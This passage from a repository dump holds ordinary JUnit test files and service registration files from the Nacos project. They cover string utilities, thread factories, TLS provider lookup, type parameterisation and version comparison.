\"cd\", \"ef\"}, StringUtils.split(\"ab   cd ef\", null));\n        assertArrayEquals(new String[] {\"ab\", \"cd\", \"ef\"}, StringUtils.split(\"ab:cd:ef\", \":\"));\n    }\n    \n    @Test\n    void testTokenizeToStringArray() {\n        // Test case 1: Empty string\n        String str1 = \"\";\n        String delimiters1 = \",\";\n        boolean trimTokens1 = true;\n        boolean ignoreEmptyTokens1 = false;\n        String[] expected1 = new String[0];\n        String[] result1 = StringUtils.tokenizeToStringArray(str1, delimiters1, trimTokens1, ignoreEmptyTokens1);\n        assertArrayEquals(expected1, result1);\n        \n        // Test case 2: Null string\n        String str2 = null;\n        String delimiters2 = \" \";\n        boolean trimTokens2 = false;\n        boolean ignoreEmptyTokens2 = true;\n        String[] expected2 = new String[0];\n        String[] result2 = StringUtils.tokenizeToStringArray(str2, delimiters2, trimTokens2, ignoreEmptyTokens2);\n        assertArrayEquals(expected2, result2);\n        \n        // Test case 3: Single token\n        String str3 = \"Hello\";\n        String delimiters3 = \",\";\n        boolean trimTokens3 = true;\n        boolean ignoreEmptyTokens3 = false;\n        String[] expected3 = {\"Hello\"};\n        String[] result3 = StringUtils.tokenizeToStringArray(str3, delimiters3, trimTokens3, ignoreEmptyTokens3);\n        assertArrayEquals(expected3, result3);\n        \n        // Test case 4: Multiple tokens with trimming\n        String str4 = \"  Hello,  World,  \";\n        String delimiters4 = \",\";\n        boolean trimTokens4 = true;\n        boolean ignoreEmptyTokens4 = false;\n        String[] expected4 = {\"Hello\", \"World\", \"\"};\n        String[] result4 = StringUtils.tokenizeToStringArray(str4, delimiters4, trimTokens4, ignoreEmptyTokens4);\n        assertArrayEquals(expected4, result4);\n        \n        // Test case 5: Multiple tokens with empty tokens ignored\n        String str5 = \"  ,Hello,  ,World,  \";\n        String delimiters5 = \",\";\n        boolean trimTokens5 = true;\n        boolean ignoreEmptyTokens5 = true;\n        String[] expected5 = {\"Hello\", \"World\"};\n        String[] result5 = StringUtils.tokenizeToStringArray(str5, delimiters5, trimTokens5, ignoreEmptyTokens5);\n        assertArrayEquals(expected5, result5);\n    }\n    \n    @Test\n    void testHasText() {\n        // Test case 1: Empty string\n        assertFalse(StringUtils.hasText(\"\"));\n        \n        // Test case 2: String with whitespace only\n        assertFalse(StringUtils.hasText(\"   \"));\n        \n        // Test case 3: Null string\n        assertFalse(StringUtils.hasText(null));\n        \n        // Test case 4: String with non-whitespace characters\n        assertTrue(StringUtils.hasText(\"hello\"));\n        \n        // Test case 5: String with both text and whitespace\n        assertTrue(StringUtils.hasText(\" hello \"));\n    }\n    \n    @Test\n    void testCleanPath() {\n        // Test case 1: path with no length\n        String path1 = \"\";\n        String expected1 = \"\";\n        assertEquals(expected1, StringUtils.cleanPath(path1));\n        \n        // Test case 2: normal path\n        String path2 = \"path/to/file\";\n        String expected2 = \"path/to/file\";\n        assertEquals(expected2, StringUtils.cleanPath(path2));\n        \n        // Test case 3: path with Windows folder separator\n        String path3 = \"path\\\\to\\\\文件\";\n        String expected3 = \"path/to/文件\";\n        assertEquals(expected3, StringUtils.cleanPath(path3));\n        \n        // Test case 4: path with dot\n        String path4 = \"path/..\";\n        String expected4 = \"\";\n        assertEquals(expected4, StringUtils.cleanPath(path4));\n        \n        // Test case 5: path with top path\n        String path5 = \"path/../top\";\n        String expected5 = \"top\";\n        assertEquals(expected5, StringUtils.cleanPath(path5));\n        \n        // Test case 6: path with multiple top path\n        String path6 = \"path/../../top\";\n        String expected6 = \"../top\";\n        assertEquals(expected6, StringUtils.cleanPath(path6));\n        \n        // Test case 7: path with leading colon\n        String path7 = \"file:../top\";\n        String expected7 = \"file:../top\";\n        assertEquals(expected7, StringUtils.cleanPath(path7));\n        \n        // Test case 8: path with leading slash\n        String path8 = \"file:/path/../file\";\n        String expected8 = \"file:/file\";\n        assertEquals(expected8, StringUtils.cleanPath(path8));\n        \n        // Test case 9: path with empty prefix\n        String path9 = \"file:path/../file\";\n        String expected9 = \"file:file\";\n        assertEquals(expected9, StringUtils.cleanPath(path9));\n        \n        // Test case 10: prefix contain separator\n        String path10 = \"file/:path/../file\";\n        String expected10 = \"file/file\";\n        assertEquals(expected10, StringUtils.cleanPath(path10));\n        \n        // Test case 11: dot in file name\n        String path11 = \"file:/path/to/file.txt\";\n        String expected11 = \"file:/path/to/file.txt\";\n        assertEquals(expected11, StringUtils.cleanPath(path11));\n        \n        // Test case 12: dot in path\n        String path12 = \"file:/path/./file.txt\";\n        String expected12 = \"file:/path/file.txt\";\n        assertEquals(expected12, StringUtils.cleanPath(path12));\n        \n        // Test case 13: path with dot and slash\n        String path13 = \"file:aaa/../\";\n        String expected13 = \"file:./\";\n        assertEquals(expected13, StringUtils.cleanPath(path13));\n    }\n    \n    @Test\n    void testDelimitedListToStringArrayWithNull() {\n        assertEquals(0, StringUtils.delimitedListToStringArray(null, \",\", \"\").length);\n        assertEquals(1, StringUtils.delimitedListToStringArray(\"a,b\", null, \"\").length);\n    }\n    \n    @Test\n    void testDelimitedListToStringArrayWithEmptyDelimiter() {\n        String testCase = \"a,b\";\n        String[] actual = StringUtils.delimitedListToStringArray(testCase, \"\", \"\");\n        assertEquals(3, actual.length);\n        assertEquals(\"a\", actual[0]);\n        assertEquals(\",\", actual[1]);\n        assertEquals(\"b\", actual[2]);\n    }\n    \n    @Test\n    void testDeleteAny() {\n        // Test case 1: inString is empty, charsToDelete is empty\n        String inString1 = \"\";\n        String charsToDelete1 = \"\";\n        assertEquals(\"\", StringUtils.deleteAny(inString1, charsToDelete1));\n        \n        // Test case 2: inString is empty, charsToDelete is not empty\n        String inString2 = \"\";\n        String charsToDelete2 = \"abc\";\n        assertEquals(\"\", StringUtils.deleteAny(inString2, charsToDelete2));\n        \n        // Test case 3: inString is not empty, charsToDelete is empty\n        String inString3 = \"abc\";\n        String charsToDelete3 = \"\";\n        assertEquals(\"abc\", StringUtils.deleteAny(inString3, charsToDelete3));\n        \n        // Test case 4: inString is not empty, charsToDelete is not empty\n        String inString4 = \"abc\";\n        String charsToDelete4 = \"a\";\n        assertEquals(\"bc\", StringUtils.deleteAny(inString4, charsToDelete4));\n        \n        // Test case 5: inString contains special characters\n        String inString5 = \"abc\\n\";\n        String charsToDelete5 = \"\\n\";\n        assertEquals(\"abc\", StringUtils.deleteAny(inString5, charsToDelete5));\n        \n        // Test case 6: inString not contains special characters\n        String inString6 = \"abc\\n\";\n        String charsToDelete6 = \"d\";\n        assertEquals(\"abc\\n\", StringUtils.deleteAny(inString6, charsToDelete6));\n    }\n    \n    @Test\n    void testReplace() {\n        // Test case 1: pattern is empty\n        assertEquals(\"abc\", StringUtils.replace(\"abc\", \"\", \"a\"));\n        \n        // Test case 2: oldPattern less than newPattern\n        assertEquals(\"aabc\", StringUtils.replace(\"abc\", \"a\", \"aa\"));\n        \n        // Test case 3: oldPattern more than newPattern\n        assertEquals(\"dc\", StringUtils.replace(\"abc\", \"ab\", \"d\"));\n    }\n    \n    @Test\n    void testApplyRelativePath() {\n        // Test case 1\n        String path1 = \"/path/to/file\";\n        String relativePath1 = \"subfolder/subfile\";\n        String expected1 = \"/path/to/subfolder/subfile\";\n        String result1 = StringUtils.applyRelativePath(path1, relativePath1);\n        assertEquals(expected1, result1);\n        \n        // Test case 2\n        String path2 = \"path/to/file\";\n        String relativePath2 = \"subfolder/subfile\";\n        String expected2 = \"path/to/subfolder/subfile\";\n        String result2 = StringUtils.applyRelativePath(path2, relativePath2);\n        assertEquals(expected2, result2);\n        \n        // Test case 3\n        String path3 = \"/path/to/file\";\n        String relativePath3 = \"/subfolder/subfile\";\n        String expected3 = \"/path/to/subfolder/subfile\";\n        String result3 = StringUtils.applyRelativePath(path3, relativePath3);\n        assertEquals(expected3, result3);\n        \n        //Test case 4\n        String path4 = \"file\";\n        String relativePath4 = \"/subfolder/subfile\";\n        String expected4 = \"/subfolder/subfile\";\n        String result4 = StringUtils.applyRelativePath(path4, relativePath4);\n        assertEquals(expected4, result4);\n    }\n    \n    @Test\n    void testGetFilename() {\n        // Test case 1: null path\n        String path1 = null;\n        String result1 = StringUtils.getFilename(path1);\n        assertNull(result1);\n        \n        // Test case 2: path without separator\n        String path2 = \"myFile.txt\";\n        String expectedResult2 = \"myFile.txt\";\n        String result2 = StringUtils.getFilename(path2);\n        assertEquals(expectedResult2, result2);\n        \n        // Test case 3: path with separator\n        String path3 = \"myPath/myFile.txt\";\n        String expectedResult3 = \"myFile.txt\";\n        String result3 = StringUtils.getFilename(path3);\n        assertEquals(expectedResult3, result3);\n        \n        // Test case 4: path with multiple separators\n        String path4 = \"myPath/subPath/myFile.txt\";\n        String expectedResult4 = \"myFile.txt\";\n        String result4 = StringUtils.getFilename(path4);\n        assertEquals(expectedResult4, result4);\n    }\n    \n    @Test\n    void testCapitalize() {\n        // Test for an empty string\n        String str1 = \"\";\n        assertEquals(\"\", StringUtils.capitalize(str1));\n        \n        // Test for a single word string\n        String str2 = \"hello\";\n        assertEquals(\"Hello\", StringUtils.capitalize(str2));\n        \n        // Test for a multiple word string\n        String str3 = \"hello world\";\n        assertEquals(\"Hello world\", StringUtils.capitalize(str3));\n        \n        // Test for a string with special characters\n        String str4 = \"!@#$%^&*()\";\n        assertEquals(\"!@#$%^&*()\", StringUtils.capitalize(str4));\n        \n        // Test for a string with numbers\n        String str5 = \"abc123\";\n        assertEquals(\"Abc123\", StringUtils.capitalize(str5));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ThreadFactoryBuilderTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * thread factory builder unit test.\n *\n * @author zzq\n * @date 2021/8/3\n */\nclass ThreadFactoryBuilderTest {\n    \n    int priority = 2;\n    \n    @Test\n    void simpleTest() {\n        ThreadFactory threadFactory = new ThreadFactoryBuilder().daemon(true).priority(priority)\n                .nameFormat(\"nacos-grpc-executor-%d\").build();\n        Thread thread1 = threadFactory.newThread(() -> {\n        });\n        assertEquals(\"nacos-grpc-executor-0\", thread1.getName());\n        assertEquals(priority, thread1.getPriority());\n        assertTrue(thread1.isDaemon());\n        Thread thread2 = threadFactory.newThread(() -> {\n        });\n        assertEquals(\"nacos-grpc-executor-1\", thread2.getName());\n        assertEquals(priority, thread2.getPriority());\n        assertTrue(thread2.isDaemon());\n    }\n    \n    @Test\n    void customizeFactoryTest() {\n        String threadName = \"hello is me!\";\n        ThreadFactory myFactory = r -> {\n            Thread thread = new Thread();\n            thread.setName(threadName);\n            return thread;\n        };\n        ThreadFactory factory = new ThreadFactoryBuilder().daemon(true).priority(priority).customizeFactory(myFactory).build();\n        Thread thread = factory.newThread(() -> {\n        });\n        assertEquals(threadName, thread.getName());\n    }\n    \n    @Test\n    void uncaughtExceptionHandlerTest() throws Exception {\n        AtomicBoolean state = new AtomicBoolean(false);\n        ThreadFactory threadFactory = new ThreadFactoryBuilder().daemon(true).priority(priority)\n                .nameFormat(\"nacos-grpc-executor-%d\").uncaughtExceptionHandler((t, e) -> state.set(true)).build();\n        threadFactory.newThread(() -> {\n            throw new NullPointerException(\"null pointer\");\n        }).start();\n        TimeUnit.SECONDS.sleep(1);\n        assertTrue(state.get());\n    }\n    \n    @Test\n    void propertyPriorityTest1() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            new ThreadFactoryBuilder().priority(11).nameFormat(\"nacos-grpc-executor-%d\").build();\n        });\n    }\n    \n    @Test\n    void propertyPriorityTest2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            new ThreadFactoryBuilder().priority(-1).nameFormat(\"nacos-grpc-executor-%d\").build();\n        });\n    }\n    \n    @Test\n    void propertyNameFormatTest() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            new ThreadFactoryBuilder().priority(priority).nameFormat(null).build();\n        });\n    }\n    \n    @Test\n    void propertyUncaughtExceptionHandlerTest() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            new ThreadFactoryBuilder().priority(priority).nameFormat(\"nacos-grpc-executor-%d\").uncaughtExceptionHandler(null)\n                    .build();\n        });\n    }\n    \n    @Test\n    void propertyCustomizeFactoryHandlerTest() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            new ThreadFactoryBuilder().priority(priority).nameFormat(\"nacos-grpc-executor-%d\").customizeFactory(null).build();\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ThreadUtilsTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.slf4j.Logger;\n\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\nclass ThreadUtilsTest {\n    \n    private ExecutorService executorService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        System.setProperty(\"nacos.common.processors\", \"2\");\n        executorService = Executors.newFixedThreadPool(1);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        System.setProperty(\"nacos.common.processors\", \"\");\n        ThreadUtils.shutdownThreadPool(executorService);\n    }\n    \n    @Test\n    void testLatchAwait() {\n        final CountDownLatch countDownLatch = new CountDownLatch(1);\n        long currentTime = System.currentTimeMillis();\n        executorService.execute(() -> {\n            ThreadUtils.sleep(100);\n            ThreadUtils.countDown(countDownLatch);\n        });\n        ThreadUtils.latchAwait(countDownLatch);\n        assertTrue(System.currentTimeMillis() - currentTime >= 100);\n    }\n    \n    @Test\n    void testLatchAwaitForTimeout() {\n        final CountDownLatch countDownLatch = new CountDownLatch(1);\n        long currentTime = System.currentTimeMillis();\n        ThreadUtils.latchAwait(countDownLatch, 50, TimeUnit.MILLISECONDS);\n        assertTrue(System.currentTimeMillis() - currentTime >= 50);\n        \n    }\n    \n    @Test\n    void testGetSuitableThreadCount() {\n        assertEquals(4, ThreadUtils.getSuitableThreadCount());\n        assertEquals(8, ThreadUtils.getSuitableThreadCount(3));\n    }\n    \n    @Test\n    void testShutdownThreadPoolWithInterruptedException() throws InterruptedException {\n        ExecutorService executor = mock(ExecutorService.class);\n        when(executor.awaitTermination(100, TimeUnit.MILLISECONDS)).thenThrow(new InterruptedException());\n        ThreadUtils.shutdownThreadPool(executor);\n        verify(executor, times(4)).shutdownNow();\n    }\n    \n    @Test\n    void testShutdownThreadPoolWithOtherException() throws InterruptedException {\n        ExecutorService executor = mock(ExecutorService.class);\n        Logger logger = mock(Logger.class);\n        Throwable cause = new RuntimeException();\n        when(executor.awaitTermination(100, TimeUnit.MILLISECONDS)).thenThrow(cause);\n        ThreadUtils.shutdownThreadPool(executor, logger);\n        verify(executor).shutdownNow();\n        verify(logger, times(3)).error(\"ThreadPoolManager shutdown executor has error : \", cause);\n    }\n    \n    @Test\n    void testAddShutdownHook() {\n        Runnable shutdownHook = () -> {\n        };\n        ThreadUtils.addShutdownHook(shutdownHook);\n        // It seems no way to check it.\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/TlsTypeResolveTest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport io.grpc.netty.shaded.io.netty.handler.ssl.SslProvider;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass TlsTypeResolveTest {\n    \n    @Test\n    void test() {\n        \n        SslProvider openssl = TlsTypeResolve.getSslProvider(\"openssl\");\n        assertEquals(SslProvider.OPENSSL, openssl);\n        \n        SslProvider openSsL = TlsTypeResolve.getSslProvider(\"openSSL\");\n        assertEquals(SslProvider.OPENSSL, openSsL);\n        \n        SslProvider jdk = TlsTypeResolve.getSslProvider(\"JDK\");\n        assertEquals(SslProvider.JDK, jdk);\n        \n        SslProvider anySsl = TlsTypeResolve.getSslProvider(\"anySSL\");\n        assertEquals(SslProvider.OPENSSL, anySsl);\n        \n        SslProvider refcnt = TlsTypeResolve.getSslProvider(\"openSSL_refcnt\");\n        assertEquals(SslProvider.OPENSSL_REFCNT, refcnt);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/TypeUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\n/**\n * type utils test.\n *\n * @author zzq\n */\nclass TypeUtilsTest {\n    \n    @Test\n    void parameterize() {\n        ParameterizedType stringComparableType = TypeUtils.parameterize(List.class, String.class);\n        assertEquals(\"java.util.List<java.lang.String>\", stringComparableType.toString());\n        assertEquals(List.class, stringComparableType.getRawType());\n        assertNull(stringComparableType.getOwnerType());\n        assertEquals(1, stringComparableType.getActualTypeArguments().length);\n        assertEquals(String.class, stringComparableType.getActualTypeArguments()[0]);\n        \n        ParameterizedType stringIntegerComparableType = TypeUtils.parameterize(Map.class, String.class, Integer.class);\n        assertEquals(\"java.util.Map<java.lang.String, java.lang.Integer>\", stringIntegerComparableType.toString());\n        assertEquals(Map.class, stringIntegerComparableType.getRawType());\n        assertNull(stringComparableType.getOwnerType());\n        assertEquals(2, stringIntegerComparableType.getActualTypeArguments().length);\n        assertEquals(String.class, stringIntegerComparableType.getActualTypeArguments()[0]);\n        assertEquals(Integer.class, stringIntegerComparableType.getActualTypeArguments()[1]);\n    }\n    \n    @Test\n    void testParameterizeForNull() {\n        assertThrows(NullPointerException.class, () -> {\n            TypeUtils.parameterize(null, String.class);\n        });\n    }\n    \n    @Test\n    void testParameterizeForNullType() {\n        assertThrows(NullPointerException.class, () -> {\n            TypeUtils.parameterize(List.class, (Type[]) null);\n        });\n    }\n    \n    @Test\n    void testParameterizeForNullTypeArray() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            TypeUtils.parameterize(List.class, (Type) null);\n        });\n    }\n    \n    @Test\n    void testParameterizeForDiffLength() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            TypeUtils.parameterize(List.class, String.class, Integer.class);\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/UuidUtilsTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nclass UuidUtilsTest {\n    \n    @Test\n    void testGenerateUuid() {\n        String uuid = UuidUtils.generateUuid();\n        // try parse to UUID.\n        UUID.fromString(uuid);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/VersionUtilsTest.java",
    "content": "/*\n *  Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.io.File;\nimport java.net.URL;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass VersionUtilsTest {\n    \n    @Test\n    void testVersionCompareLt() {\n        assertTrue(VersionUtils.compareVersion(\"1.2.0\", \"1.2.1\") < 0);\n        assertTrue(VersionUtils.compareVersion(\"0.2.0\", \"1.2.0\") < 0);\n        assertTrue(VersionUtils.compareVersion(\"1.2.0\", \"1.3.0\") < 0);\n    }\n    \n    @Test\n    void testVersionCompareGt() {\n        assertTrue(VersionUtils.compareVersion(\"1.2.2\", \"1.2.1\") > 0);\n        assertTrue(VersionUtils.compareVersion(\"2.2.0\", \"1.2.0\") > 0);\n        assertTrue(VersionUtils.compareVersion(\"1.3.0\", \"1.2.0\") > 0);\n    }\n    \n    @Test\n    void testVersionCompareEt() {\n        assertEquals(0, VersionUtils.compareVersion(\"1.2.1\", \"1.2.1\"));\n    }\n    \n    @Test\n    void testVersionCompareLtWithChar() {\n        assertTrue(VersionUtils.compareVersion(\"1.2.0-beta\", \"1.2.1\") < 0);\n    }\n    \n    @Test\n    void testVersionCompareGtWithChar() {\n        assertTrue(VersionUtils.compareVersion(\"1.2.2-beta\", \"1.2.1-beta\") > 0);\n    }\n    \n    @Test\n    void testVersionCompareEtWithChar() {\n        assertEquals(0, VersionUtils.compareVersion(\"1.2.1\", \"1.2.1-beta\"));\n    }\n    \n    @Test\n    void testVersionCompareResourceNotExist() {\n        URL resource = VersionUtils.class.getClassLoader().getResource(\"nacos-version.txt\");\n        assertNotNull(resource);\n        File originFile = new File(resource.getFile());\n        File tempFile = new File(originFile.getAbsolutePath() + \".rename\");\n        assertTrue(originFile.renameTo(tempFile));\n        \n        // not throw any exception\n        VersionUtils.compareVersion(\"1.2.1\", \"1.2.1\");\n        \n        assertTrue(tempFile.renameTo(originFile));\n    }\n    \n    @Test\n    void testVersionCompareVersionNotValid1() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            VersionUtils.compareVersion(\"1.2.1.1\", \"1.2.1.1\");\n        });\n    }\n    \n    @Test\n    void testVersionCompareVersionNotValid2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            VersionUtils.compareVersion(\"1.2.1\", \"1.2.1.1\");\n        });\n    }\n    \n    @Test\n    void testVersionCompareVersionNotValid3() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            VersionUtils.compareVersion(\"1.2.1.1\", \"1.2.1\");\n        });\n    }\n    \n    @Test\n    void testFullClientVersion() {\n        assertNotNull(VersionUtils.getFullClientVersion());\n        assertTrue(VersionUtils.getFullClientVersion().startsWith(\"Nacos-Java-Client:v\"));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/to/User.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils.to;\n\npublic class User {\n    \n    private Integer id;\n    \n    private String name;\n    \n    public User(Integer id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n    \n    public Integer getId() {\n        return id;\n    }\n    \n    public void setId(Integer id) {\n        this.id = id;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n}"
  },
  {
    "path": "common/src/test/resources/META-INF/services/com.alibaba.nacos.api.ability.initializer.AbilityPostProcessor",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.common.ability.MockAbilityPostProcessor"
  },
  {
    "path": "common/src/test/resources/META-INF/services/com.alibaba.nacos.common.ability.AbstractAbilityControlManager",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.common.ability.discover.HigherMockAbilityManager\ncom.alibaba.nacos.common.ability.discover.LowerMockAbilityManager"
  },
  {
    "path": "common/src/test/resources/META-INF/services/com.alibaba.nacos.common.labels.LabelsCollector",
    "content": " #\n #\n # Copyright 1999-2023 Alibaba Group Holding Ltd.\n #\n # Licensed under the Apache License, Version 2.0 (the \"License\");\n # you may not use this file except in compliance with the License.\n # You may obtain a copy of the License at\n #\n #      http://www.apache.org/licenses/LICENSE-2.0\n #\n # Unless required by applicable law or agreed to in writing, software\n # distributed under the License is distributed on an \"AS IS\" BASIS,\n # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n # See the License for the specific language governing permissions and\n # limitations under the License.\n #\n #\n\ncom.alibaba.nacos.common.labels.impl.DefaultLabelsCollector\ncom.alibaba.nacos.common.labels.impl.Test1LabelsCollector\ncom.alibaba.nacos.common.labels.impl.Test2LabelsCollector\n"
  },
  {
    "path": "common/src/test/resources/META-INF/services/com.alibaba.nacos.common.paramcheck.AbstractParamChecker",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.common.paramcheck.MockParamChecker"
  },
  {
    "path": "common/src/test/resources/META-INF/services/com.alibaba.nacos.common.spi.SpiTestInterface",
